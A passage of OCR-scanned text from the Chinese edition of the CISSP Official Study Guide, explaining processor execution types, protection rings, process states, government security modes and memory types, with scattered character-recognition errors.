然而， 它们所描述的 " 同 时办两件事" 问题的方式有很大的不同。 我们 强烈建议你多花一些时间来
仔细研究这些术语之间 的差别 ， 直到 熟悉它们 为止。
多任务处理 在计算处理中 ， 多任务处理指的是同时处理两个或更多个任务。 事实上， 大多数
系统并不是真正的多任务处理系统， 它们依靠操作系统， 通过仔细构造发送给 CPU 执行的命令的顺
序来模拟多任务处理。 毕竟， 当处理器正在以几千兆赫兹的速度进行处理并发出嗡嗡声时， 很难判
断是在任务之间进行转换(而非同时处理两个任务)。 不过， 可 以认定多任务处理系统在任意给定时
间都能够应付多个任务或进程。
多处理 在多处理环境中， 多处理器计算系统(也就是具有多个 CPU 的系统)利用 多个处理器的
能力完成一个应用程序的处理任务。 例如， 数据库服务器能够运行在包含三个处理器的系统上， 如
果数据库应用程序同时接收到多条独立的查询指令， 那么它就可以将每条查询指令发送给不同的处
理器去执行。
在具有多个 CPU 的现代系统中 ， 具有两种常见的多处理系统类型。 在刚才描述的场景中， 单个
计算机包含多个由一个操作系统控制的处理器， 这被称为对称多处理(Symmetric Mu1tiProcessing，
SMP)。 在 SMP 中 ， 处理器不但共享通用操作系统， 而且共享通用数据总线和内存资源。 在这种结
构类型中， 系统可 以使用很多个处理器。 幸运的是， 这种类型的计算能力足以驱动大多数系统。
某些计算密集的操作处理(例如， 那些支持科学家和数学家进行研究的计算操作)要求的处理能
力是一个操作系统无法独立提供的。 这样的计算操作通常由一种被称为大规模并行处理。但ssively
Parallel Processi吨， 陋的的技术提供。 MPP 系统中驻留 了数百个甚至上千个处理器， 每个处理器都
具有 自 己的操作系统和内存/总线资源 。 当协调整个系统的活动并调度处理的软件遇到某个计算密集
任务时， 会分配某个处理器负责完成任务。 这个处理器随后将任务分解为若干易于处理的部分， 并
把这些部分分配给其他处理器执行 。 那些处理器将它们的计算结果返回至协调处理器， 所有计算结
果在协调处理器中被重新组合并返回给提出请求的应用程序 。 MPP 系统的能力非常强大(不用说，
成本也十分高 昂)， 并且是很多计算研究中使用 的主要系统。
多处理系统的这两种类型都具有各自 独特的优点 ， 并且适用于不同的情况。 SMP 系统非常适合
以极高的速度处理简单的计算操作 ， 而 MPP 系统适合处理庞大和复杂的计算密集任务， 能将大的
任务分解成若干子任务并分配给不 同的处理器进行计算。
下一代多处理系统
在双核与 四核处理器出现之前， 创建多 处理系统的唯一方式是在母板上放直两个或多 个 CPU。
不过， 现在有 了 若干 多 核选项 ， 这样母板上的单个 CPU 芯 片 就存在两条或 4 条〈甚至更多 条周L行路
径. 因 为 九许同 时执行两 个(或多 个)计算 ， 所以确 实 准许存在只具有单个 CPU 的 多 处理系统。
多程序设计 多程序设计与多任务处理非常相似。 为 了达到提高计算效率的 目 的 ， 多程序设计
通过操作系统对单个处理器上的两个任务进行协调， 从而模拟两个任务同时执行的情况。 在很大程
度上， 多程序设计是一种批量或连续执行多个进程的方式， 这样一来， 一个进程结束并在外围等待，
其状态会被保存， 同时开始处理下一个进程。 同一批中 的其他所有进程依次执行完成并在外围等待
219
CISSP 官方学习指南(第 7 版)
之前， 第一个程序并不返回进行处理。 对任何单个程序来说， 这种方法在完成某个任务时会导致显
著 的延迟。 不过， 对于同一批 中 的所有进程而言 ， 完成所有任务所需的总时间会减少。
多程序设计被认为是一种相对过时的技术， 除了在比较旧的系统中能够找到， 如今已经很少使
用了。 多程序设计和多任务处理技术之间存在下 列两个主要差异 :
• 多程序设计通常在大规模系统(例如， 大型机)中使用 ， 而多任务处理在个人计算机操作系统
(例如 ， Windows 和 Linux)中使用 。
• 多任务处理通常由操作系统协调使用 ， 而多程序设计则要求特别编写的软件， 这种软件通
过操作系统来协调 自 己的活动和执行。
多线程处理 多线程处理允许在单个进程中执行多个并发任务。 与 多个任务占用 多个进程的多
任务处理不同 ， 多线程处理允许在单个进程中执行多个任务。 线程是一个自包含的指令序列 ， 可 以
与作为同一父进程一部分的其他线程井行执行。 多线程处理常用于这样的应用幸自宇: 多个活动进程之
间频繁的上下文切换会带来过大的开销并且降低系统效率。 使用多线程处理技术， 线程之间转换的开
销会大大降低， 因此更有效率。 例如， 在现代 Windows 实现中 ， 在单个进程内 从一个线程转换到另一
个线程所涉及的开销大约为 40 到 50 条指令， 并且不需要转移大量内存空间。 相 比之下， 从一个进程
转换到另一个进程所涉及的开销大约 为 1000 条或更多条指令， 并且还需要转移大量内 存空间 。
使用多线程处理的一个优秀例子是在一个字处理程序中 同时打开多个文档 。 在这种情况下， 实
际上并没有运行字处理器的多个实例 ， 如果多个实例同时运行， 对系统的要求会很高。 相反， 每个
文档都被视为单个字处理器进程 的一个线程， 并且在任何给定时间 由软件选择要处理的线程。
事实上， 对称多处理系统在操作系统级别使用线程。 在刚才描述的字处理示例中， 操作系统还
包含许多控制所分配任务的线程。 在单处理器系统中 ， 操作系统每次向处理器发送一个线程进行处
理 。 SMP 系统向每一个处理器都发送一个线程井同 时加 以执行 。
220
3. 处理类型
许多安全要求较高的系统控制着被分配了不同安全级别的信息的处理任务， 例如， 美 国政府为
与国防相关的信息指派的分类级别 : 非保密、 敏感、 机密、 秘密和绝密。 设计计算机时一定要使用
这种方法， 这样就不会因疏忽把信 息泄漏给未经授权的接收方 。
计算机体系架构师和安全策略管理员从两个不同的方面抨击了 处理器级别存在的 问题。 一方面
是策略机制 ， 而另一方面则是硬件解决方案。 稍后两部分内 容将研究这两方面的问题。
单一状态 单一状态系统要求使用策略机制来管理不同安全级别的信息。 在这种类型的方案中 ，
安全管理员准许处理器和系统每次只 处理一个安全级别的问题。 例如， 某个系统可能被标记为只 处
理秘密级别的信息。 这样一来， 该系统的所有用户都被准许在秘密级别处理信息， 从而将保护系统
要 处理的信息的责任从硬件和操作系统转移到控制访问系统的系统管理员 的身上。
多态 多态系统能够实现更高的安全级别。 这些系统是被认证过的 ， 通过使用特定的安全机制
(如本章稍后讨论的 " 保护机制 " 一节中 的 内容)同时处理多个安全级别。 这些安全机制被设计用于
阻止信息跨越不同的安全级别。 某用 户可能正在使用多态系统处理秘密级别的信息， 同时， 另一个
用 户正在处理绝密级别的信思。 技术方面的机制能够阻止信息在这两个用户之间的交叉使用， 因此
也 阻止 了信息在不 同安全级别间的交叉 。
在实际应用 中 ， 因 为实现必要的技术性机制的费用较高， 所以多态系统的使用相对不太普遍。
实现必要技术性机制的费用在某些时候被证明是值得的。 无论如何， 处理非常昂贵的资源(例如， 大
规模并行系统)时， 获得多个系统的成本远远超出 了实施必要的额外安全控制以便在单个系统上支持
第 9 章 安全脆弱性、 威胁和对施
多态操作的成本。
4. 保护机制
如果计算机没有运行 ， 那么它就是一堆不能完成任何工作的塑料、 硅和金属材料。 计算机在运
行时管理着运行时环境， 运行时环境表示操作系统和活动的应用程序的组合。 在运行时， 计算机还
能够根据用户 的安全许可访问 文件和其他数据。 在运行时环境中 ， 必须集成安全信息和控制来保护
操作系统本身的完整性、 管理被允许访问特定数据项的用户 、 授权或拒绝对这些数据的操作请求等。
运行中 的计算机在运行时实现和处理安全性的方式可以被大体描述为一个保护机制的集合。 接下来
会介绍各种保护机制 ， 包括保护环、 操作状态和安全模式。
提示 :
因 为计算机实现和使用保护机制的方式对于维护和控制安全性来说十分重要， 所以读者应 当 理
解下面将知阔的三种保护机制(保护环、 操作状态和安全模式)的定义及表现。 因 为这些 内 容十分
重要， 所以考试中很可 能 出 现与 这三种保护机制相关的细节 问 题。
保护环 保护环是一种虽然陈 旧但却 良好的方案， 它使我们回想起使用 Multics 操作系统的时
代 。 这种实验性的操作系统是 由 Bell 实验室、 MIT 和通用 电气在 1 963 年到 1969 年之间合作设计和
构建的。 尽管只是在 Hon巳ywell 实现中得到了商业应用 ， 不过 Mu1tics 为计算领域带来了两个持久深
远的影响。 首先， Mu1tics 导致简单的、 复杂程度较低的 Unix 操作系统(针对 Multics 的文字游戏)的
出现; 其次， 引入了操作系统设计中 的保护环的概念。
从安全性的观点出发， 保护环将操作系统中的代码和组件(以及应用程序、 实用程序或由操作系
统控制运行的其他代码)组织在如 图 9. 1 所示的同 心环内。 越进入圆环的 内 部， 与 占据特定环的代码
相关联的特权级别就越高。 尽管最初的 Multics 实现最大允许 7 环(从0到6进行编号)， 然而现代操
作系统使用的是具有 4 环(从 o �U 3 进行编号)的模型。
环 0: os 内核/内存(驻留组件)
环 1 : 其他 os 组件
环 2: 驱动程序、 协议等
环 3 : 用户级程序和应用程序
环 0-2 在监管或特权模式中运行
环 3 : 在用 户模式中运行
图 9. 1 保护环
221
CISSP 官方学习指南(第 7 版)
作为最内部的环， 环 0 具有最高的特权级别， 并且基本上可 以访问任何资源、 文件或内存位置。
操作系统始终驻留在内 存中 的部分(因此能够根据需要随时运行)被称为内核(kemel)。 内 核 占据着环
0 ， 并且优先 占有在其他环上运行的代码。 在请求各种任务、 执行操作、 切换进程时进出 内存的操作
系统的剩余部分 占据着环 l 。 环 2 在一定程度上也是特许的， 这个环驻留 了 vo 驱动程序和系统实
用程序， 它们能够访问应用程序和其他程序本身不能直接访 问 的外围设备、 特殊文件等。 应用程序
和 其他程序 占据着最外层的环 3 。
环模型的本质在于优先权、 特权和内 存分割。 希望执行的任何进程必须排队等待(进程暂挂队
列)。 与最小环号相关联的进程总是 比与较大环号相关联的进程先运行。 在较低编号的环中 的进程能
够 比较高编号的环中 的进程访问更多的资源， 并且能够更直接地与操作系统交互。 在较高编号的环
上运行的进程通常必须请求较低编号的环中 的处理程序或驱动程序来获得需要的服务， 有时这被称
为居间访问模型 。 在最严格的实现中， 每个环都具有 自 己关联的内存段。 因此， 较高编号的环中 的
进军D才较低编号的环 中 的任何地址请求， 都必须请求与该地址相关联的环中的某个辅助进程。 在实
践中， 许多现代操作系统只将内存分为两段: 一段用于系统级访问(环 0 到环 2)， 常常被称为内 核模
式或特权模式: 另一段则用于用 户 级程序和应用程序(环 3)， 常常被称为用户模式 。
从安全性的观点出发， 环模型使得操作系统能够将自 身与用户和应用程序隔离开并加以保护，
还允许在高特权操作系统组件(例如， 内 核)和低特权操作系统部分(例如， 操作系统的其他部分以及
驱动程序和实用程序)之间实施严格的界线。 在这种模型中 ， 对特定资源的直接访问 只能在特定的环
中进行; 同样， 特定的操作(例如， 进程的切换、 终止和调度)也只 被允许在特定的环 内 执行 。
某个进程所占据的环决定了该进程对系统资源的访问级别(并且决定了 必须从较低编号、 特权更
多的环内 的进程中请求何种资源)。 只 有当客体驻留在进程自 己的环内或驻留在当前边界外部的某些
环内时， 进程才可以直接访问这些客体(以数值方法为例 ， 这意味着位于环 l 的某个进程能够直接访
问自己环内的资源以及与环 2 和环 3 关联的任何资源， 但是不能访问 只与环 0 关联的任何资源)。 凭
借居间访问(也就是前面刚提到的驱动程序或处理程序请求)的机制常常被称为系统调用 ， 井且往往
涉及调用特定的系统或设计用于将服务请求传递至内部环的编程接口 。 然而， 在接受这样的请求之
前 ， 调用环必须检查并确认调用进程具有正确的凭证和授权， 从而能够访问数据和执行满足请求所
涉及的操作 。
进程状态 进程状态也被称为操作状态， 指 的是进程可能在其中运行的各种执行形式。 在任意
给定时刻， 操作系统都处于下列两种模式之一: 在特许的全部访问模式(也被称为监管状态)中运作 ;
在与用户模式相关联的 问题状态中运作， 此时特权最少， 并且所有访问请求在被授予或拒绝之前必
须检查授权凭证。 后者被称为问题状态的原因并非是一定会发生问题， 而是因为用户访问 的未许可
状态意味着会发生问题， 系统必 须采取适当的措施来保护安全性、 完整性和机密性。
222
在操作系统中 ， 进程排列在处理队列中依次执行， 此时某个处理器在可用时会调度这些进程的
执行。 许多操作系统只允许进程以固定的增量或数量占用处理器时间， 某个新进程被创建时首先会
进入处理队列 ， 如果 占用 了 整个处理时间量(称为时间片)仍未完成执行， 那么 这个进程就会返回 处
理队列并等待下一轮继续执行 。 此外， 进程调度程序常常会选择执行具有最高特权的进程， 因此排
在 最前面的进程并不保证能访 问 CPU( 因为具有较高优先权的进程会在最后时刻被抢先执行)。
根据进程是否运行 ， 进程可 以运作在下列几种状态之一:
就绪状态 在就绪状态中 ， 进程准备在被调度执行时立刻继续或开始处理。 在进程到达这个状
态时， 如果 CPU 可用 ， 那么进程就会直接转移到运行模式: 如果 CPU 不可用 ， 那么进程就停留在
就绪状态直至 CPU 可用 。 这个状态意 味着: 拥有立即开始执行所需的所有 内 存和其他资源。
第9章 安全脆弱性、 威胁和对施
等待状态 等待状态还可以被理解为 " 等待某种资源"， 也就是说， 进程准备继续执行， 但是在
能够继续处理之前需要等待某台设备或访问请求(某种中断)提供服务(例如， 要求从文件中读取记录
的某个数据库应用程序必须等待文件被定位和打开， 以及查找到正确的记录集)。 一些引用将此状态
标记为阻塞状态， 因为该状态可 以 阻止进一步的执行 ， 直到某个外部事件发生为止 。
运行状态 运行中 的进程在 CPU 中执行直至完成、 时 间片到期或由于某些原因而阻塞(通常是
由于生成访问 设备或网络的中断并且等待中断完成)。 如果进程在时间片结束时尚未完成， 那么进程
就会返回就绪状态并在队列中排队 ; 如果在等待资源变得可用时 阻塞进程， 进程便进入等待状态并
排队。
提示 :
运行状态也被称为 问题状态。 不过， 千万不要将术语 " 问题" 与街吴关联在→豆。 相反， 可以
将问题状态视为解决某个数学 问题以便寻求答案。 但需要记住的是， 运行状态被称为 问 题状态是因
为可能发生问题或4轩吴， 就像回答数学 问题可能出 错一样。 问题状态不 同 于监管状态 ， 因此在发生
错误的 事件时不会轻易影响整个系 统的稳定性， 而只是进程 出 现错误。
监管状态 在进程必须执行的动作要求大于问题状态特权组的特权时(包括更改系统配置、 安装
设备驱动程序或更改安全设置)， 就需要使用监管状态。 基本上， 没有在用户模式(环3)或问题状态中
出现的功能会在监管模式中实现。
停止状态 进程结束或者由于发生错误、所请求资源不可用或无法满足资源请求而必须终止时，
就会进入停止状态。 此时， 操作系统可以恢复所有内存和被分配的其他资源， 从而允许其他进程根
据需要处理和重用 这些内存和资源。
图 9.2 说明了各种状态之间的联系。 新进程总是转移到就绪状态。 从那里开始， 就绪的进程常
常转移到运行状态。 在运行时， 如果完成或终止， 就进入停止状态; 如果等待另一个时间片 ， 就返
回就绪状态; 或者转移到等待状态， 一直等到得到请求的资源为止。 在决定接下来要运行的进程时，
操作系统会查看等待队列和就绪队列， 从而执行优先级最高井且准备运行的作业(因此， 只有挂起请
求 己得到满足或即将得到满足的等待作业才会被考虑)。 被称为程序执行或进程调度程序的内核特殊
部分始终在内 存中等待， 这样在必须发生进程状态转移时就能够介入和处理所涉及的技术性细节。
新进程
\。
等待状态
图 9.2 进程调度程序
在 图 9.2 中 ， 进程调度程序管理在就绪状态和等待状态中等待执行的进程， 并且决定运行的进
程在转移至另一个状态(就绪状态、 等待状态或停止状态)时所发生的情况。
安全模式 美 国政府为处理分类信息的系统指派了 4 种被批准的安全模式。 后面的部分会讲述
这几种模式。 在第 1 章中 ， 我们介绍过美国联邦政府使用 的分类系统以及安全认可和安全批准的概
223
CISSP 官方学 习指南(第 7 版)
念。 在这种环境中 ， 唯一的新术语是 " 知其所需 " (need to know) ， 指的是一种访问授权方案。 在这
种方案中， 主体对客体的访问不仅仅考虑了特权级别， 而且还考虑了涉及主体扮演角色(或执行作业)
的数据的相关性。 这表明主体需要访问 客体， 从而正确执行作业或扮演特定的角色。 无论具有怎样
的特权级别 ， 不具备 " 知其所需" 能力的主体都无法访问客体。 如果需要回忆这些概念， 那么请在
开始学习这些内容之前复习第 1 章相关的知识。 在能够部署安全模式之前， 必须存在下列三种特定
的元素:
• 分层的 MAC 环境
• 对 能够访 问计算机控制 台的主体 的完全物理控制
• 对能够进入计算机控制 台 所在房间 的主体的完全物理控制
提示 :
你可能很少在政府斗儿构和公司 以外的地方遇到下列模式。 然而， 你可能在其他环境中发现这个
术语， 所 以 建议你最好记住它 。
专用模式 专用模式系统本质上相当于本章前面 " 处理类型 " 中描述的单一状态系统。 对于专
用 系统的用户来说 ， 存在下列三个要求:
• 每个用 户 都必 须具有允许访 问 系统所处理全部信息的安全许可 。
• 每个用户都必须被批准访 问系统所处理的全部信息 。
• 每个用 户 都必须具有有效的、 对系统所处理全部信息 的 " 知其所需 " 权限。
注意 :
在所有这些模式的定义 中 ， 我们都使用 了 简要的短语 "系统处理的全部信息"。 正式的定义更为
全面 ， 并且使用了 短语 "处理、 存储、 转移或访问的所有信息"。 如果希望进行史深入的研究 ， 那 么
可以查看 Department 0/ Defense 8510. 1-M DoD 11价rmation Technology Security Cert伊cation and
Accreditation Process ρ'ITSCAP) Manual.
系统高级模式 如 下所示， 系 统高级模式的用户 需 要满足的要求稍有不同:
• 每个用户都必须具有允许访 问 系统所处理全部信息 的有效安全许可。
• 每个用 户都必须被批准访 问系统所处理的全部信息 。
• 每个用户都 必须具有有效的 、 对系统所处理部分信息的 " 知其所需 " 权限。
需要注意的是， 专用模式和系统高级模式之间 的主要差异是: 在系统高级模式的计算设备上，
所有用户不必具有对系统所处理全部信息的 " 知其所需" 权限。 因此， 尽管同一用户 既可以访问专
用模式系统， 也可以访 问系统高级模式系统， 但是用户 能够访问 前者的所有数据， 却被限制访问后
者的部分数据。
224
分隔模式 如下所示， 分隔模式进一步弱化了 这些要求:
• 每个用户都必须具有允许访 问系统所处理全部信息的有效安全许可。
• 每个用 户 都必 须被批准访 问 系统中所需要访问 的任何信息。
• 每个用 户 都必须具有有效的 、 对系统中 所需要访 问 的所有信息 的 " 知其所需 " 权限。
需要注意的是， 分隔模式和系统高级模式之间的主要差异是: 分隔模式系统的用户不必被批准
访问系统中的全部信息。 然而， 与系统高级模式系统和专用模式系统一样的是， 分隔模式系统的所
有用户仍然必须具有适当的安全许可。 在名为分隔模式工作站(Compartmented Mode Workstations，
第9章 安全脆弱性、 威胁和对施
CMW)的分隔模式的特殊实现 中 ， 具有必要许可的用户 能够 同时处理多个分隔部分的数据。
CMW 要求在客体上放置两种安全标签: 敏感度级别和信息标签。 敏感度级别描述了必须在哪
个级别保护客体。 敏感度级别在 4 种安全模式中很常见。 信息标签能够防止数据分类过高， 并且将
额外的信息与 客体关联在一起 ， 这有助于进行与访问控制无关的适当、 准确的数据标签操作。
多级模式 政府对多级模式系统的定义与前面给出的技术上的定义非常相似。 然而， 出于一致
性的缘故， 我们会使用术语许可、 访问批准和 " 知其所需 " 进行表示， 如下所示:
• 某些用户不具有访问系统所处理全部信息的有效安全许可。 因此， 访问 由主体的许可级别
是否优于客体的敏感度级别控制。
• 每个用 户都 必须被批准访 问 系统中所需 要访问的所有信息。
• 每个用 户 都必须具有有效的 、 对系统中所需要访 问 的所有信息 的 " 知其所需 " 权限。
在查看美国联邦政府批准的各种操作模式的要求时， 你会注意到: 当我们从专用系统向下转移
到多级系统时， 控制访问 系统的用户类型的行政管理要求不断降低。 然而， 这不会降低限制个人访
问 的重要程度， 这样用户 只能获得授予他们的合法信息。 正如在前一节中讨论的那样 ， 这仅仅是将
强制实施这些要求的责任从管理人员(他们采用物理方式限制对计算机的访问)转移到硬件和软件(它
们控制多用户 系统中每一位用户可以访 问 的信息)上。
注意 :
多 级安全模式也被称为 受控的 完全模式。
根据所需的安全许可、 " 知其所需 " 权限以及处理多许可级别数据σDMCL)的能力， 表 9. 1 概述
和 比较了 这 4 种安全模式。 比较这 4 种安全模式时， 我们通常认为多级模式暴露出 最高的风险级别。
表 9.1 安全模式的比较
模式 安全许可 知其所需 PDMCL
专用模式 相 同 无 无
系统高级模式 相 同 是 无
分隔模式 相 同 是 是
多级模式 不 同 是 是
在表 队l 中 ， 如果所有用户都必须拥有相同 的安全许可， 那么安全许可为相同， 否则为不同。
如果没有被应用， 或者虽然被应用但是所有用户 对系统中存在的所有数据都具有 " 知其所需" 权限 ，
那么 " 知其所需" 权限就为 "无"; 如果访问受到 " 知其所需 " 约束的限制， 那么 " 知其所需" 权限
就为 "是"。 如果使用 了 CMW 实现， 那么 PDMCL 就为 "是"， 否则为 "无"。
5. 操作模式
现代处理器和操作系统被设计为能够支持多用户 环境， 在这种环境中 ， 个人计算机用户 没有被
授予访问系统所有组件或系统所存储全部信息的权限。 基于这个原因 ， 处理器本身支持两种操作模
式 : 用 户模式和特权模式。
用户模式 用户模式是在执行用户应用程序时 CPU 使用 的基本模式。 在这种模式中 ， CPU 只
允许执行其整个指令集中 的部分指令。 这样设计的 目 的是防止用户因为执行设计得很差的代码或无
意识地滥用代码而意外损坏系统， 此外还保护系统及其数据免遭怀有恶意用户 的攻击， 这些恶意用
225
CISSP 官方学习指南(第 7 版)
户 可能企图通过执行精心设计的指令来避开操作系统设置的安全措施， 也可能错误地执行会导致未
授权访问、 损害系统或有价值信息资产的动作 。
用户模式内 的进程常常在被称为虚拟机(VM)或虚拟子系统机的受控环境内执行。 虚拟机是操作
系统创建的模拟环境， 能够为程序提供安全有效的执行场所。 每个 VM 都与其他 VM 相隔离， 并
且每个 VM 都具有 自 己指定的内存地址空间 ， 托管的应用程序能够使用这些空间。 特权模式(也称为
内 核模式)中 的元素负责创建和支持 VM 以及防止某个 VM 中 的进程干扰其他 VM 中 的进程。
特权模式 CPU 也支持特权模式， 这种模式被设计用于授予操作系统访 问 CPU 所支持完整指
令的特权。 这种模式具有很多名称， 根据 CPU 制造厂商的不同， 确切的术语也不同。 下面列出 了一
些 比较常见的名称:
• 特权模式
• 监管模式
• 系统模式
• 内 核模式
无论使用哪个术语， 基本的概念都是相同的: 这种模式为在 CPU 上执行的进程授予范围很广的
特权。 由于这个原因 ， 设计 良好的操作系统不允许任何用户应用tîl芋在特权模式中执行。 出于安全
性和系统完整性的 目 的 ， 只 有那 些作 为操作系 统组成部分的进程才被允许在特权模式中执行。
提示 :
不要混淆处理器模式与任何用 户访问特权类型。 事实上， 高级处理器模式有时被称为特权模式
或监管模式， 与用户 的 角 色毫无关系。 所有的用 户 应用程序(包括系统管理员 的应用 程序)都在用 户
模式中运行。 当 系统管理员 使用 系统工具史改系统配直时， 这些工具也在用 户 模式中运行。 当用户
应用程序需要执行某个特许动作时， 会使用 系统调用 向操作 系统传递请求， 操作 系统对请求进行坪
估 ， 随后要么 拒绝请求， 要么 同 意请求并使用 用户控制之外的某个特权模式进程予 以执行。
226
9.1 .2 存储器
系统中的第二个重要硬件组件就是存储器， 它是计算机为了保持信息使用 的便捷所需的存储位
置。 目 前有在许多不同类型的存储器， 每种存储器适用于不同的 目 的， 接下来我们将介绍这些存储器。
1 . 只读存储器
顾名思义， 只i卖存储器(Read-Only Memory， RO问就是 PC 能够读但是不能修改(也就是不允许
写)的存储器。 标准 ROM 芯片的内容在 出厂时就被 "烧入"， 并且终端用户无法改变其中的内容。
ROM 芯片通常包含 " 自 引 导指令 " 信息， 也就是计算机在从磁盘上加载操作系统之前用于启动的
信息。 " 自 引 导指令"信息、包含为人熟知的每次引 导 PC 时运行的通电 自检(pow巳r-On SelιTest， POST)
系列诊断程序。
ROM 的主要优点在于不能被修改。 用户或系统管理员意外发生的错误无法清除或修改芯片上
的内容， 这个特性使得 ROM 特别适于协调计算机最 内 层的工作。
有一种 ROM 类型可以被系统管理员在一定范围 内予以修改， 这种 ROM 被称为可编程只读存
储器(Programrnable Read-Only Memory， PROM) ， 并且具有如下所示的 几种子类型:
可编程只读存储器 基本的可编程只读存储器σROM)芯片在功能上与 ROM 芯片非常相似， 但
第 9 章 安全脆弱性、 威胁和对施
是存在一个例外。 在制造过程中 ， PROM 芯片的内容没有在工厂被 " 烧入 "， 这一点与标准的 ROM
芯片不一样。 相反， PROM 芯片井入了特殊的功能， 允许终端用户稍后在芯片中烧入内容。 然而，
烧入过程具有相似的结果: 一旦数据被写入 PROM 芯片， 那么就不能再被更改。 本质上， PROM 芯
片与 ROM 芯片的功能一样。
PROM 芯片为软件开发人员提供了一个在高速的、 定制的存储芯片中永久存储信息的机会。
PROM 芯片被普遍用于需要某些定制功能的硬件开发应用中 ， 但是一旦被编程就无法再进行修改。
可擦除可编程只读存储器(Erasable PROM， EPROM) 由于 PROM 芯片相对昂贵并且软件开
发人员希望能在写入数据之后修改他们的代码， 于是人们开发出 了可擦除 PROM但PROM)。 在这些
芯片上有一个很小的窗口 ， 当用特殊的紫外线光照射时就可以擦除芯片上的内容。 这个过程完成后，
终端用户 就可 以将新的信息烧入 EPROM， 就像它之前从未编程一样 。
电可擦除可编程只读存储器(Electronically ERPOM， EEPROM) 尽管有了一些擦除功能， 但
是 EPROM 的擦除过程仍然有些麻烦。 擦除操作要求从计算机上物理拆除芯片并暴露在一束特殊的
紫外线光之下 。 电可擦除 PROM(EEPROM)是另 一种更灵活的、 更友好的解决方案， 使用送到芯片
引 脚上 的 电压强制进行擦除。 擦除 EEPROM 时 ， 不用从计算机上拆除芯片， 这就比标准的 PROM
和 EPROM 芯片更具吸引力。
闪存 闪存是 EEPROM 的衍生概念。 它是一种非易失性存储媒体， 可 以进行电子擦除和重写。
EEPROM 和 闪存主要的 区别是， EEPROM 必须完全擦除后才能重写， 而 闪存可以 以块或页的方式
进行擦写。 闪存是最常见的 NAND 闪存， 被广泛用于存储卡 、 优盘、 移动设备和 SSD(固态硬盘)。
2. 随机存取存储器
随机存取存储器(Random Access Memory， 良咄，f)是可读和可写的存储器， 包含计算机在处理过
程中使用的信息。 只 有当 电源持续不断供应时， RAM 才能保存其内容。 与 ROM 不一样的是， 当计
算机电源关闭时， 存储在 RAM 内 的所有数据都会消失。 因此， RAM 只被用 于暂时存储数据。 任何
关键数据都不能只存储在 RAM 中 : 而是始终应当在另外的存储设备上保留备份副本， 以防电源突
然 中 断导致发生数据丢失的事件 。 下 面是 RAM 的 几种类型:
实际的存储器 实际的存储器(也被称为主存储器)通常是计算机中可用 的最大的 RAM 存储资
源 。 实际的存储器一般由许多动态的 RAM 芯片组成， 因此， CPU 必须定期对它们进行刷新(要了 解
更多的信息， 请参看真实场景 " 动态 RAM 与静态 RAM" ) 。
高速缓存 RAM 计算机系统包含许多高速缓存。 通过将数据从速度较慢的设备取出并暂时存
储在高性能的设备上， 以便在希望时可以重复使用 。 高速缓存能够提高系统的性能 ， 这称为高速缓
存 RAM。 处理器通常包含一个位于主板上的高速缓存， 这个极快速的存储器被用于保持将要操作
的数据。 这个板上或第 l 级的高速缓存往往由不同芯片上的某个静态 RAM 高速缓存(被称为第 2 级
高速缓存)进行备份， 第 2 级高速缓存保存来 自 计算机主存储器的数据。 类似地， 主存储器中通常包
含存储在磁性介质上的高速缓存信息。 这条存储链连续向下经过存储器/存储设备层次结构， 从而使
得计算机能够通过保持即将使用的数据(用于 CPU 指令、 数据获取、 文件访问或其他操作)更容易获
得来改善性能 。
许多外围设备也使用主板高速缓存来减轻它们对计算机和操作系统造成的负担。 例如， 许多更
高端的打印机包含非常大的 RAM 高速缓存， 这样操作系统可以快速假脱机一项作业给打印机， 并
且随后可以忘记这个打印作业， 也不必等待打印机对所有的请求产生输出结果。 打 印机可以预处理
来 自 主板高速缓存的信息， 从而释放计算机和操作系统继续执行其他任务。
227
CISSP 官方学习指南(第 7 版)
⑧ 真实场景
动态 RAM 与静态 RAM
目 前有 两种主要类型 的良协1: 动 态RAM 和静态RAM. 绝大多数计算机都包含这两种RAM，
并且根据不同 的 目 的对它们加以 使用 。
为 了存储数据， 动态RAM 使用 了 一系 列 电容器， 这些微小 的 电子设备能够保持电荷。 电容器
可能保持电荷(在内存中表示为比特 1)， 也可能没有 电荷(表示为 比特 0)。 但是， 随着时间的流逝，
屯容器会自然放屯 ， 所以 CPU 必须花费时间来刷新动态RAM 的 内 容， 从而确保比特 l 不会无意 中
变为比特 0， 以 免改变存储器中的内容。
静态 RAM 建立在更加复杂 的技术之上 ， 即可以用 于任何 目 的和用 途的逻辑设备: 触发器
(flip-flop)。 触发器是一个 ON/OFF 开关， 必须把开关从一端拔到另一端 ， 让比特从 O 转换到 1 ， 反
之亦然。 因 此， 只要有电源供应 ， 静态存储器就一直保存其中 的 内 容， 并且不需要 CPU 定期进行
原忏斤 。
在价格上， 因 为 电容器比触发器使宜 ， 所以动态RAM比静态RAM 使宜 。 但是， 静态RAM 的
运行速度比动态 RAM 快得多 。 对于 系 统设计人员 来说， 这就产生了 权衡性能价格的 问 题， 因此系
统设计者通常会使用 静态RAM与 动 态RAM 相组合的 方式， 从而达到 费 用 与性能的平衡。
3. 寄存器
CPU 还包括一种有限容量的板上存储器， 即寄存器。 在执行计算或处理指令时， 寄存器为 CPU
的核心部分(也就是算术逻辑单元(Arithmetic-Logical Unit， ALU))提供可直接访问 的存储位置。 事实
上 ， 除 了数据作为指令的一部分直接提供外， ALU 操纵的任何数据必须被载入寄存器。 这种存储器
类型的主要优点是 ALU 本身的一部分， 因 此计算速度与标准的 CPU 速度一致。
4. 存储器寻址
当利用存储器资源时， 处理器必须具有引 用存储器中不同位置的方法。 解决这个问题的办法被
称为寻址， 并且在不同 的环境中存在多种不同的寻址方案。 接下来我们将讨论 5 种比较常用 的寻址
方案:
寄存器寻址 前面曾 经提到过， 寄存器直接安装在 CPU 上的非常小的存储位置。 当 CPU 需要
从某个寄存器中获得信息来完成操作时 ， 可 以使用寄存器地址(例如 ， " 寄存器 1 " )去访问 寄存器的
内容。
228
立即寻址 就其本身而言， 立即寻址并不是一种技术上的存储器寻址方案， 而是引用某些数据
的一种方法， 这些数据作为指令的一部分提供给 CPU 使用 。 例如， CPU 可能处理命令 "将寄存器 l
中 的数值与 2 相加 "。 这条命令使用两种寻址方案。 第一种方案是作为命令一部分的直接寻址， 即告
诉 CPU 将数值 2 加进去并且不需要从某个存储器位置检索该数值。 第二种方案是寄存器寻址， 即命
令 CPU 从寄存器 l 中取出数值 。
直接寻址 在直接寻址中 ， 要访问 的存储器位置的实际地址会被提供给 CPU。 这个地址必须与
正在执行的指令位于相同的存储页面上。 因为与重新编写立即寻址的硬编码数据相 比， 存储位置的
内 容能够更容易地被改变， 所以直接寻址 比立即寻址更灵活。
第9章 安全脆弱性、 威胁和对施
